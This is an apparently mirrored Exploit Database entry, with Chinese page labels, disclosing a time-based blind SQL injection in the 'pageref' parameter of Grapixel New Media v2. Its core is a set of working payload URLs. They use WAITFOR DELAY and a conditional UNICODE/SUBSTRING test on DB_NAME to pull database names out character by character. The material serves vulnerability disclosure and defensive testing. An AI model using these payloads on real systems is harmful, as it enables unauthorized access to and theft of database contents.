Grapixel New Media 2 – ‘pageref’ SQL Injection

• Exploit Database
• 19 阅读

• 作者： Berk Dusunur
  日期： 2018-10-29
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/45704/

• # Exploit Title: Grapixel New Media 2 - 'pageref' SQL Injection
  # Exploit Author: Berk Dusunur
  # Google Dork: N/A
  # Type: Web App
  # Date: 2018-10-26
  # Vendor Homepage: http://www.grapixel.com
  # Software Link: http://www.grapixel.com
  # Affected Version: v2
  # Tested on: MacosX
  # CVE : N/A
  
  #Proof Of Concept
  # Time-Based sql injection is called a data extraction event with request response times 
  # with the server when there is no other way for it to extract aggressive data. It should 
  # be determined by sql injection type. I discovered blind time-based sql injection. 
  # Because single quotes didn't break the page structure, so I tried to get results 
  # using waitfor delay instead.
  
  http://target/pages.aspx?pageref=[SQL]
  http://target/pages.aspx?pageref=' waitfor delay '00:00:05'--;
  http://target/pages.aspx?pageref=';IF(UNICODE(SUBSTRING((SELECT DB_NAME(12)),1,1))>80) WAITFOR DELAY '0:0:5'--
  http://target/pages.aspx?pageref=';IF(UNICODE(SUBSTRING((SELECT DB_NAME(12)),1,1))>81) WAITFOR DELAY '0:0:5'--
  
  Ascii equivalent of 80,81 figures The first database, wait 5 seconds if the first letter is "p"